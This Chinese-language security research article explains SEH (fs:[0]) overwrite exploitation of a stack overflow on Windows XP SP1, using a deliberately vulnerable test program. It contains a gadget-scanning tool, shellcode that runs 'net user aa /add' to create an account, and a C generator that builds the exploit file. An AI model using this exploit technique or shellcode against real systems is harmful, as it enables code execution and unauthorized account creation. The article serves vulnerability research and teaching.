首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第39期->技术专题
期刊号: 类型: 关键词:
WindowsXP下暂存区溢位及利用FS:[0]异常结构处理

作者:Nanika <minjack.tw@yahoo.com.tw>
出处:http://www.nsfocus.com
日期:2003-03-03

测试系统
WindowsXP_SP1

测试工具
Visual C++ 6.0
WDASM
Ultraedit
Softice

一、    前言
暂存区溢位,这个名词对于研究系统安全方面的人来说,一定不陌生,也有许多人写出利用方法,但大多数的人还是比较了解覆写EIP值后返回到DLL函数中的Jmp ESP 并且当时的ESP刚好在Shellcode的地址上,Jmp ESP就刚刚好可以定位,使得我们不但可以改变程序原来的流程,且可以转入我们所设计的Shellcode,但其实还有别的办法来改变流程,例如堆栈中保存的函数返回地址、预设异常处理指标UnhandleExceptionFilter、线程相关的异常处理fs:[0]。而我在研究CodeRed病毒时,发现此病毒利用暂存区溢位,是覆写到Exception Handle也就是Fs:[0],当处理Windows正准备处理异常的时候,EBX刚好指向当前的异常结构,所以可以利用返回DLL函数中的Call EBX就可以定位Shellcode,
但是我在WINDOWSXP_SP1下却没办法使用Call EBX来定位,这引起了我的兴趣,进而写了这篇,程序都是我自己写出来测试除错的,很可能有许多的错误,或是想法上的错误,如有错误,敬请指正。

二、    线程异常处理结构
通常每个线程初始化都准备好执行时fs指向一个TIB结构(Thread Imformation Block)在winnt.h和ntddk.h中﹐我们可以找到TIB结构的定义﹕

//
//  NT_TIB - Thread Information Block - Portable part.
//
//      This is the subsystem portable part of the Thread Information Block.
//      It appears as the first part of the TEB for all threads which have
//      a user mode component.
//
//

// begin_winnt

typedef struct _NT_TIB {
    struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList;
    PVOID StackBase;
    PVOID StackLimit;
    PVOID SubSystemTib;
    union {
        PVOID FiberData;
        ULONG Version;
    };
    PVOID ArbitraryUserPointer;
    struct _NT_TIB *Self;
} NT_TIB;
typedef NT_TIB *PNT_TIB;
//

第一个member就是_EXCEPTION_REGISTRATION_RECORD指针,_EXCEPTION_REGISTRATION_RECORD结构又包括两个指针﹕第一个指针(从地址fs﹕[00000000]取得)指向前一个_EXCEPTION_REGISTRATION_RECORD结构﹐而前一个_EXCEPTION_REGISTRATION_RECORD结构的第一个指针又指向更前一个_EXCEPTION_REGISTRATION_RECORD结构﹐这样所有的_EXCEPTION_REGISTRATION_RECORD 就形成了一个链(link)。
如果还不懂,可以看下面的图
fs:[0]->
_EXCEPTION_REGISTRATION struc
prev dd ? ;前一个_EXCEPTION_REGISTRATION结构
handler dd ? ;异常处理入口
_EXCEPTION_REGISTRATION ends  
把handler域换成你的程序入口,就可以在发生异常时调用你的程序了

而我们这次就需要覆写到handle异常处理入口

三、范例程序
我们写一个程序来实际的操作一下
#include <stdio.h>
int main()
{
char buffer[16]="";
FILE *fd=NULL;
fd = fopen("files.txt","rb");
if(fd == NULL)
return printf("不能开启files.txt檔,请确定\n");
fgets(buffer,1000,fd);
return 0;
}

这一个范例一看就知道了,有了明显的暂存区溢位,buffer只有16,但却可以读入1000个字符,此种溢位当然可以直接覆写EIP地址改写成Jmp ESP使用ESP来定位,但这就不在我们的范围之内,并且有很多的文章都是有关这种利用方法。

我们继续下去
我们把这个程序使用Release模式来编译
然后,把它反组译一下,得到如下的程序
:0040112B 55                      push ebp
:0040112C 8BEC                    mov ebp, esp
:0040112E 6AFF                    push FFFFFFFF
:00401130 68B0604000              push 004060B0
:00401135 6840284000              push 00402840--&#61664;这里就是异常处理入口
:0040113A 64A100000000            mov eax, dword ptr fs:[00000000]-&#61664;这是前一个异常处理结构
:00401140 50                      push eax
:00401141 64892500000000          mov dword ptr fs:[00000000], esp---&#61664;将FS:[0]指向新的异常结构
:00401148 83EC10                  sub esp, 00000010
:0040114B 53                      push ebx
:0040114C 56                      push esi
:0040114D 57                      push edi
:0040114E 8965E8                  mov dword ptr [ebp-18], esp

显然我们要覆写的目标就在push 00402840异常处理入口,我们要将此处改写成Call EBX就可以来定位Shellcode了
就来实际测试一下,我们创立一个文字文件然后里面放入20个a字符,然后利用WDASM来除错,断点设在004011da,F2设断点
:004011DA E821FEFFFF              call 00401000-&#61664;会押入下一个程序004011df地址然后再jmp 00401000
:004011DF 83C40C                  add esp, 0000000C
:004011E2 8945E4                  mov dword ptr [ebp-1C], eax
:004011E5 50                      push eax

我们按下f7跟进去004011da
:00401000 83EC10                  sub esp, 00000010
:00401003 A0F0784000              mov al, byte ptr [004078F0]
:00401008 33C9                    xor ecx, ecx
:0040100A 894C2401                mov dword ptr [esp+01], ecx

* Possible StringData Ref from Data Obj ->"rb"
                                  |
:0040100E 6858704000              push 00407058
:00401013 894C2409                mov dword ptr [esp+09], ecx

* Possible StringData Ref from Data Obj ->"files.txt"
                                  |
:00401017 684C704000              push 0040704C
:0040101C 894C2411                mov dword ptr [esp+11], ecx
:00401020 88442408                mov byte ptr [esp+08], al
:00401024 66894C2415              mov word ptr [esp+15], cx
:00401029 884C2417                mov byte ptr [esp+17], cl
:0040102D E8E6000000              call 00401118
:00401032 83C408                  add esp, 00000008
:00401035 85C0                    test eax, eax
:00401037 7511                    jne 0040104A

* Possible StringData Ref from Data Obj ->"不能开启files.txt檔,请确定
"
                                  |
:00401039 6830704000              push 00407030
:0040103E E884000000              call 004010C7
:00401043 83C404                  add esp, 00000004
:00401046 83C410                  add esp, 00000010
:00401049 C3                      ret



* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401037(C)
|
:0040104A 50                      push eax
:0040104B 8D542404                lea edx, dword ptr [esp+04]
:0040104F 68E8030000              push 000003E8
:00401054 52                      push edx
:00401055 E816000000              call 00401070--&#61664;此处就是暂存区押入堆栈的地方
:0040105A 83C40C                  add esp, 0000000C
:0040105D 33C0                    xor eax, eax
:0040105F 83C410                  add esp, 00000010
:00401062 C3                      ret

覆盖之前堆栈中的内容



call 00401070 押入堆栈之后



注意到了没?原来的返回地址004011df地址已经覆写成61616161
所以我们返回后是EIP 61616161这个地址,所以产生错误
对了,我们这次的利用方法是要利用Fs:[0]所以需要找一下在堆栈的那个部分,然后继续覆盖过去



四、利用方法
esp = 0012ff68+4c=0012ffb4---&#61664;这个地址就是我们所要覆写的地址00402840异常处理入口,我们建立一个文字文件,内有68个字符就可以覆盖到异常入口地址,也就是在此处填入call ebx就可以跳到上一个结构,也就是在0012ffb0的这个地址,至于要如何填入call ebx呢?我们就使用返回至DLL函数中的地址,但必须是要此漏洞程序加载后的,我们的这个程序写得很简单,所以也只有Kernel32.dll加载,所以从这里面寻找FF D3我们从JASON先生的文章中所写的程序来寻找
CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
     int nRetCode = 0;

     // initialize MFC and print and error on failure
     if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
     {
          // TODO: change error code to suit your needs
          cerr << _T("Fatal Error: MFC initialization failed") << endl;
          nRetCode = 1;
     }
     else
     {
          #if 0
          return 0;
          __asm call ebx
                
          #else

      bool we_loaded_it = false;
           HINSTANCE h;
      TCHAR dllname[] = _T("User32");

         if(argc>1)    {
           strcpy(dllname,argv[1]);
         }

         h = GetModuleHandle(dllname);
         if(h == NULL)
         {
          h = LoadLibrary(dllname);
         if(h == NULL)
         {
           cout<<"ERROR LOADING DLL: "<<dllname<<endl;
         return 1;
         }
         we_loaded_it = true;
         }

             BYTE* ptr = (BYTE*)h;
             bool done = false;
             for(int y = 0;!done;y++)
             {
                try
                {
                   if(ptr[y] == 0xff && ptr[y+1] == 0xd3)
                   {
                     int pos = (int)ptr + y;
                     cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
                   }
                }
                    catch(...)
                    {
                       cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl;
                       done = true;
                    }
             }



      if(we_loaded_it) FreeLibrary(h);
      #endif
     }
     return nRetCode;
}
我们把程序编译好,执行后,
C:\>callebx kernel32
OPCODE found at 0x77e426ba
OPCODE found at 0x77e42d94
OPCODE found at 0x77e42eac
OPCODE found at 0x77e439ad
OPCODE found at 0x77e43be2
………………………………….太多了
END OF kernel32 MEMORY REACHED

在Kernel32中找到许多call ebx的地址

我们把这个地址填入文字文件中,也就是要覆写0012ffb4堆栈中的内容,改写成
77e426ba,当然押入需要填入的内容是ba26e477,我们就来测试一下,是否ebx就可以定位,当我们返回61616161之后当然会出现错误,然后程序就跳入
.text:77FB4DAF                 public KiUserExceptionDispatcher
.text:77FB4DAF KiUserExceptionDispatcher proc near
.text:77FB4DAF
.text:77FB4DAF var_14          = dword ptr -14h
.text:77FB4DAF var_10          = dword ptr -10h
.text:77FB4DAF var_C           = dword ptr -0Ch
.text:77FB4DAF var_4           = dword ptr -4
.text:77FB4DAF arg_0           = dword ptr  4
.text:77FB4DAF
.text:77FB4DAF                 mov     ecx, [esp+arg_0]
.text:77FB4DB3                 mov     ebx, [esp+0]
.text:77FB4DB6                 push    ecx
.text:77FB4DB7                 push    ebx
.text:77FB4DB8                 call    sub_0_77F60B69 ---&#61664;我们继续跟进去
.text:77FB4DBD                 or      al, al
.text:77FB4DBF                 jz      short loc_0_77FB4DCD
.text:77FB4DC1                 pop     ebx
.text:77FB4DC2                 pop     ecx
.text:77FB4DC3                 push    0
.text:77FB4DC5                 push    ecx
.text:77FB4DC6                 call    ZwContinue
.text:77FB4DCB                 jmp     short loc_0_77FB4DD8

程序来到
.text:77F60B69 ; Attributes: bp-based frame
.text:77F60B69
.text:77F60B69 sub_0_77F60B69  proc near               ; CODE XREF: KiUserExceptionDispatcher+9 p
.text:77F60B69
.text:77F60B69 var_10          = byte ptr -10h
.text:77F60B69 var_8           = dword ptr -8
.text:77F60B69 var_4           = dword ptr -4
.text:77F60B69 arg_0           = dword ptr  8
.text:77F60B69 arg_4           = dword ptr  0Ch
.text:77F60B69
.text:77F60B69                 push    ebp
.text:77F60B6A                 mov     ebp, esp
.text:77F60B6C                 sub     esp, 60h
.text:77F60B6F                 push    esi
.text:77F60B70                 push    [ebp+arg_4]
.text:77F60B73                 mov     esi, [ebp+arg_0]
.text:77F60B76                 push    esi
.text:77F60B77                 call    sub_0_77F60C26
.text:77F60B7C                 test    al, al
.text:77F60B7E                 jnz     loc_0_77F87B6F
.text:77F60B84                 push    ebx
.text:77F60B85                 push    edi
.text:77F60B86                 lea     eax, [ebp+var_8]
.text:77F60B89                 push    eax
.text:77F60B8A                 lea     eax, [ebp+var_4]
.text:77F60B8D                 push    eax
.text:77F60B8E                 call    sub_0_77F79CCF
.text:77F60B93                 call    sub_0_77F79CEA
.text:77F60B98                 and     [ebp+arg_0], 0
.text:77F60B9C                 mov     ebx, eax
.text:77F60B9E
.text:77F60B9E loc_0_77F60B9E:                         ; CODE XREF: sub_0_77F60B69+B8 j
.text:77F60B9E                 cmp     ebx, 0FFFFFFFFh
.text:77F60BA1                 jz      loc_0_77F727F1
.text:77F60BA7                 cmp     ebx, [ebp+var_4]
.text:77F60BAA                 jb      loc_0_77F727F8
.text:77F60BB0                 lea     eax, [ebx+8]
.text:77F60BB3                 cmp     eax, [ebp+var_8]
.text:77F60BB6                 ja      loc_0_77F727F8
.text:77F60BBC                 test    bl, 3
.text:77F60BBF                 jnz     loc_0_77F727F8
.text:77F60BC5                 mov     eax, [ebx+4]
.text:77F60BC8                 cmp     eax, [ebp+var_4]
.text:77F60BCB                 jb      short loc_0_77F60BD6
.text:77F60BCD                 cmp     eax, [ebp+var_8]
.text:77F60BD0                 jb      loc_0_77F727F8
.text:77F60BD6
.text:77F60BD6 loc_0_77F60BD6:                         ; CODE XREF: sub_0_77F60B69+62 j
.text:77F60BD6                 test    byte_0_77FC324A, 80h
.text:77F60BDD                 jnz     loc_0_77F87B76
.text:77F60BE3
.text:77F60BE3 loc_0_77F60BE3:                         ; CODE XREF: .text:77F87B87 j
.text:77F60BE3                 push    dword ptr [ebx+4]
.text:77F60BE6                 lea     eax, [ebp+var_10]
.text:77F60BE9                 push    eax
.text:77F60BEA                 push    [ebp+arg_4]
.text:77F60BED                 push    ebx
.text:77F60BEE                 push    esi
.text:77F60BEF                 call    sub_0_77F79B46  ---&#61664;我们跟进去此处
.text:77F60BF4                 test    byte_0_77FC324A, 80h
.text:77F60BFB                 mov     edi, eax
.text:77F60BFD                 jnz     loc_0_77F87B8C
.text:77F60C03
.text:77F60C03 loc_0_77F60C03:                         ; CODE XREF: .text:77F87B95 j
.text:77F60C03                 cmp     [ebp+arg_0], ebx
.text:77F60C06                 jz      loc_0_77F87B9A
.text:77F60C0C
.text:77F60C0C loc_0_77F60C0C:                         ; CODE XREF: .text:77F87BA2 j
.text:77F60C0C                 mov     eax, edi
.text:77F60C0E                 xor     ecx, ecx
.text:77F60C10                 sub     eax, ecx
.text:77F60C12                 jz      loc_0_77F74056
.text:77F60C18                 dec     eax
.text:77F60C19                 jnz     loc_0_77F87BA7
.text:77F60C1F
.text:77F60C1F loc_0_77F60C1F:                         ; CODE XREF: .text:77F87BBD j
.text:77F60C1F                                         ; .text:77F87BC6 j ...
.text:77F60C1F                 mov     ebx, [ebx]
.text:77F60C21                 jmp     loc_0_77F60B9E
.text:77F60C21 sub_0_77F60B69  endp

程序来到
.text:77F79B46 sub_0_77F79B46  proc near               ; CODE XREF: sub_0_77F60B69+86 p
.text:77F79B46                 mov     edx, offset loc_0_77F79BB8
.text:77F79B4B                 jmp     short loc_0_77F79B54 ---&#61664;继续跟进
.text:77F79B4B sub_0_77F79B46  endp

程序来到
.text:77F79B4D _RtlpExecuteHandlerForUnwind@20 proc near ; CODE XREF:
RtlUnwind(x,x,x,x)+BD p

.text:77F79B4D sub_0_77F79B4D  proc near               ; CODE XREF: RtlUnwind+BD p
.text:77F79B4D
.text:77F79B4D arg_0           = dword ptr  4
.text:77F79B4D arg_4           = dword ptr  8
.text:77F79B4D arg_8           = dword ptr  0Ch
.text:77F79B4D arg_C           = dword ptr  10h
.text:77F79B4D arg_10          = dword ptr  14h
.text:77F79B4D
.text:77F79B4D                 mov     edx, offset loc_0_77F79BDF
.text:77F79B52                 lea     ecx, [ecx]
.text:77F79B54
.text:77F79B54 loc_0_77F79B54:                         ; CODE XREF: sub_0_77F79B46+5 j
.text:77F79B54 ExecuteHandler@20:                      ; CODE XREF:
RtlpExecuteHandlerForException(x,x,x,x,x)+5 j

.text:77F79B54                 push    ebx
.text:77F79B55                 push    esi
.text:77F79B56                 push    edi
.text:77F79B57                 xor     eax, eax
.text:77F79B59                 xor     ebx, ebx
.text:77F79B5B                 xor     esi, esi
.text:77F79B5D                 xor     edi, edi
.text:77F79B5F                 push    [esp+0Ch+arg_10]
.text:77F79B63                 push    [esp+10h+arg_C]
.text:77F79B67                 push    [esp+14h+arg_8]
.text:77F79B6B                 push    [esp+18h+arg_4]
.text:77F79B6F                 push    [esp+1Ch+arg_0]
.text:77F79B73                 call    sub_0_77F79B7E-------&#61664;继续跟进
.text:77F79B78                 pop     edi
.text:77F79B79                 pop     esi
.text:77F79B7A                 pop     ebx
.text:77F79B7B                 retn    14h
.text:77F79B7B sub_0_77F79B4D  endp
.text:77F79B7B
.text:77F79B7B _RtlpExecuteHandlerForUnwind@20 endp

最后来到此处
.text:77F79B7E ; Attributes: bp-based frame
.text:77F79B7E
.text:77F79B7E sub_0_77F79B7E  proc near               ; CODE XREF: sub_0_77F79B4D+26 p
.text:77F79B7E
.text:77F79B7E arg_0           = dword ptr  8
.text:77F79B7E arg_4           = dword ptr  0Ch
.text:77F79B7E arg_8           = dword ptr  10h
.text:77F79B7E arg_C           = dword ptr  14h
.text:77F79B7E arg_10          = dword ptr  18h
.text:77F79B7E
.text:77F79B7E                 push    ebp
.text:77F79B7F                 mov     ebp, esp
.text:77F79B81                 push    [ebp+arg_4]
.text:77F79B84                 push    edx
.text:77F79B85                 push    large dword ptr fs:0
.text:77F79B8C                 mov     large fs:0, esp
.text:77F79B93                 push    [ebp+arg_C]
.text:77F79B96                 push    [ebp+arg_8]
.text:77F79B99                 push    [ebp+arg_4]
.text:77F79B9C                 push    [ebp+arg_0]
.text:77F79B9F                 mov     ecx, [ebp+arg_10]
.text:77F79BA2                 call    ecx --&#61664;此处就是我们覆写为Kernel32 .dll 中的call ebx的地址
.text:77F79BA4                 mov     esp, large fs:0
.text:77F79BAB                 pop     large dword ptr fs:0
.text:77F79BB2                 mov     esp, ebp
.text:77F79BB4                 pop     ebp
.text:77F79BB5                 retn    14h
.text:77F79BB5 sub_0_77F79B7E  endp
.text:77F79BB5




注意到图片中的ECX中的值这里就是刚刚的call ebx的地址
但是各位有没有发现在此处EBX并没有指向当前异常处理结构,他竟然是0,这个结果真的让我很讶异,这样改写为call ebx也只会又产生错误,这样根本就不可以执行到我们的shellcode
我们继续测试下去
跟进去刚刚call ecx



果然真的没有办法指向当前异常处理结构
我一直在这边绕了很久,为什么XP下没有办法使用EBX定位呢?
应该要就此放弃吗?
当然不!我在想既然返回地址EBX如果不行,一定还有别的办法来解决定位的问题

五、另一种定位方法
我仔细的看一下堆栈中的内容,发现了,解决的办法了!
由上一个图可以看到堆栈里面其实还是有;当前异常处理的前一个地址在里面,就是0012ffb0,那我要如何跳到此处呢?我使用了一个办法我在dll中寻找两次pop取出堆栈数据,然后再一个ret就可以返回到0012ffb0当前异常处理结构的前一个地址,就可以用来定位。
我随意的使用
Pop edi
pop esi
ret
然后改写了搜索DLL的程序
如下
CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
     int nRetCode = 0;

     // initialize MFC and print and error on failure
     if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
     {
          // TODO: change error code to suit your needs
          cerr << _T("Fatal Error: MFC initialization failed") << endl;
          nRetCode = 1;
     }
     else
     {
          #if 0
          return 0;
          __asm pop di
                pop si
                ret
                
          #else

      bool we_loaded_it = false;
           HINSTANCE h;
      TCHAR dllname[] = _T("User32");

         if(argc>1)    {
           strcpy(dllname,argv[1]);
         }

         h = GetModuleHandle(dllname);
         if(h == NULL)
         {
          h = LoadLibrary(dllname);
         if(h == NULL)
         {
           cout<<"ERROR LOADING DLL: "<<dllname<<endl;
         return 1;
         }
         we_loaded_it = true;
         }

             BYTE* ptr = (BYTE*)h;
             bool done = false;
             for(int y = 0;!done;y++)
             {
                try
                {
                   if(ptr[y] == 0x5f && ptr[y+1] == 0x5e && ptr[y+2] == 0xc3)//重要的更改部分
                   {
                     int pos = (int)ptr + y;
                     cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
                   }
                }
                    catch(...)
                    {
                       cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl;
                       done = true;
                    }
             }



      if(we_loaded_it) FreeLibrary(h);
      #endif
     }
     return nRetCode;
}
然后编译后,执行寻找此利用处的地址,我在Kernel32中找到了0x77e5633a这个地址,然后建立一个文字文件



然后我们就来测试一下
就跟上面叙述的方法一样,我们跟踪到.text:77F79BA2  call ecx的地方
然后跟进去



当pop两次之后,就可以返回到,当前异常处理结构中前一个地址了,也就是0012ffb0的地方,也就是ret之后,就跳到0012ffb0的地方来执行程序代码,我们终于成功了,可以定位shellcode了。

六、简单的Shellcode
很多人都说,溢出的利用方法很容易理解,但是难点在于shellcode的编写,
我自己也觉得,写shellcode真的蛮麻烦的,现在就把我学习的一些些经验,跟大家叙述一下,
既然是shellcode也就必须要了解最低阶的汇编,在win下api函数的呼叫方式,
比如说对一个Windows API 如 MessageBox﹐在手册中是如此定义的﹕

int MessageBox(
    HWND hWnd,            // handle of owner window
    LPCTSTR lpText,        // address of text in message box
    LPCTSTR lpCaption,    // address of title of message box  
    UINT uType          // style of message box
   );

那么在汇编中就可以这样调用它﹕

    push    uType
    push    lpCaption
    push    lpText
    push    hWnd
    call    MessageBox


这样有一些概念了吧!
当我们呼叫api函数时,是先参数押入堆栈中,然后呼叫此api在DLL函数中的地址。
可是我们有漏洞的程序中,因为写的很简单,只有加载了,kernel32此DLL,但是我们如果要写复杂的Shellcode,势必需要从kernel32中暴力求取LoadLibraryA、GetProcAddress,但是、我们的堆栈中的地址,太小了,buffer也只有16,再加上覆盖到异常结构的地址中间的差额,也不够来写一个复杂的shellcode,所以,我们只能利用kernel32本身中的API函数,在寻找api函数中,找到了一个winexec的函数,
UINT WinExec(
  LPCSTR lpCmdLine,  // address of command line
  UINT uCmdShow      // window style for new application
);
此函数可以让我们来执行一个cmd.exe
现在就来测试一下
_shellcode:
00421A30 68 C1 15 35 09       push        93515C1h
00421A35 81 2C 24 80 D1 F0 08  sub         dword ptr [esp],8F0D180h
00421A3C 68 61 61 20 2F       push        2F206161h
00421A41 68 73 65 72 20       push        20726573h
00421A46 68 65 74 20 75       push        75207465h
00421A4B 68 2F 6B 20 6E       push        6E206B2Fh
00421A50 68 63 6D 64 20       push        20646D63h
00421A55 8B C4                mov         eax,esp
00421A57 6A 01                push        1
00421A59 50                   push        eax
00421A5A B8 35 FD E4 77       mov         eax,77E4FD35h
00421A5F FF D0                call        eax
前面的两行为
push 93515c1h
sub         dword ptr [esp],8F0D180h
这是为了建构一个结束字符00所以使用此方法
执行后堆栈内为ADD.也就是41 44 44 00
然后为
0012FF70  63 6D 64 20  cmd
0012FF74  2F 6B 20 6E  /k n
0012FF78  65 74 20 75  et u
0012FF7C  73 65 72 20  ser
0012FF80  61 61 20 2F  aa /
0012FF84  41 44 44 00  ADD.
有没有看起来很熟悉
我们所押入的参数就是cmd /k net user aa /add
大家应该知道这个指令吧!
建立一个使用者为aa
然后为
mov         eax,esp
将esp的地址mov到eax
也就是把eax指向0012ff70 cmd的地址
00421A57 6A 01                push        1
现在开始押入参数,由右往左依序押入
00421A59 50                   push        eax
押入刚刚的命令行参数地址
00421A5A B8 35 FD E4 77       mov         eax,77E4FD35h
这里就是winexec的地址77e4fd35
每一个版本,此地址都有可能不一样,如果你要自己寻找,可以使用softice,或是利用,dumpbin指令来取得,把kernel32 dump出来函数地址,再加上kernel32基址的地址,就可以了
00421A5F FF D0                call        eax
最后call eax就是呼叫api函数

执行后我们net user看看
C:\>net user

\\Student 的使用者账户

-------------------------------------------------------------------------------
Administrator            Guest                Nanika    
aa            
命令执行成功。
成功的写出了一个简单的shellcode了吧!
另外因为我们的程序发生了异常,所以执行完我们的shellcode后并不会结束,而是陷入了无穷循环,所以我们必须要把异常结构恢复,但很麻烦,所以我利用一个简单的办法,就是呼叫ExitProcess,来结束我们的行程
VOID ExitProcess(
  UINT uExitCode   // exit code for all threads
);
这里实现API呼叫比较简单只需要call ExitProcess的api函数地址就可以了
我们使用
mov eax 77e598fd
call eax
就可以完成结束行程

七、实现过程
现在我们必须要建立一个文字文件,并且加入我们的shellcode在当中
,我们要加入到哪里呢?这又引发了一个问题,我们两次pop然后ret是在当前异常处理结构前一个地址,0012ffb0中,但是我们的下一个地址0012ffb4,是我们覆盖为dll中的两次pop、ret 的地址,所以我们必须要把异常处理的前一个地址加入为
eb 06 90 90使用此值来覆盖,这也就是jmp 06就是跳过0012ffb4的地址,然后到达,0012ffb8的地址,就从这里来写入shellcode来完成我们的攻击。
漏洞利用程序
#include <stdio.h>
int main()
{
int i;
char buffer[127]="";
unsigned char shellcode[]=
"\x68\xC1\x15\x35\x09\x81\x2C\x24\x80\xD1\xF0\x08"
"\x68\x61\x61\x20\x2f\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x6b\x20\x6e"
"\x68\x63\x6d\x64\x20\x8b\xc4\x6a\x01\x50\xb8\x35\xfd\xe4\x77\xff\xd0\xb8\xfd\x98\xe5\x77\xff\xd0";


FILE *fd=NULL;
fd = fopen("files.txt","w+");

for(i=0;i<sizeof(buffer);) //先把堆栈填满90也就是nop
{
buffer[i++]=0x90;
}
*(unsigned int *)&buffer[60]=0x909006eb; //前一个异常处理结构的地址改写成jmp 06
*(unsigned int *)&buffer[64]=0x77e5633a; //异常处理入口改写成DLL函数库中的两次pop ret
memcpy(&buffer[sizeof(buffer)-strlen(shellcode)-1],shellcode,strlen(shellcode));
buffer[sizeof(buffer)-1]=0;
fprintf(fd,"%s",buffer);
fclose(fd);
return 0;
}
此程序建立了一个文字文件files.txt

八、漏洞利用成果
我们把有漏洞的程序和利用程序所建构出来的文字文件放入,然后执行有漏洞的程序,就会发现了,我们成功的改变了程序的流程,转入我们的shellcode,开了一个cmd窗口并且加入了账号aa
命令执行成功。


C:\Documents and Settings\Nanika\桌面\Release>net user

\\Student 的使用者账户

-------------------------------------------------------------------------------
aa             Administrator                   Nanika                 命令执行成功。


C:\Documents and Settings\Nanika\桌面\Release>

九、结论
这次的漏洞利用,再度展现了,暂存区溢位的严重性,且不只有一种方法来转入我们所建构的恶意程序,只要我们可以从漏洞程序所加载的DLL中寻找到可以利用的机器码,就可以使用返回DLL中的程序来达到我们定位的功能,此次漏洞的利用,我还没有在别的系统上测试过,可能在别的系统上,不能通用两次pop、 ret,而多线程的程序,可能也不能够通用,但重点是在于对漏洞的调试过程和如何定位的研究,了解系统安全,必须要先了解系统,在LINUX下因为开放原始码,使得人人都比较容易了解内部核心和架构,但在WIN下就不同了,除了等M$发布一些技术文章外,就只能等高手来研究核心后,在网络上发表了,虽然核心这种底层的东西,并不需要人人都能够了解,但了解后就可以对写程序上,增加了许多解决的办法。


参考文献

http://msdn.microsoft.com/

http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1662
第五章 Exploit Microsoft INTERNET INFORMATION SERVER
作者:莫大 master_moda@yahoo.com

http://www.finalseraph.org/hume/asmdata/SEHinASM.htm
SEH  in ASM 研究
By Hume/冷雨飘心

http://0xc0ffee.com/papers/buffer_overflow/Jason's%20Buffer%20Windows%20NT%20Overflow%20Paper.htm
Windows NT Buffer Overflow's From Start to Finish
jason_jordan@omron.com
版权所有,未经许可,不得转载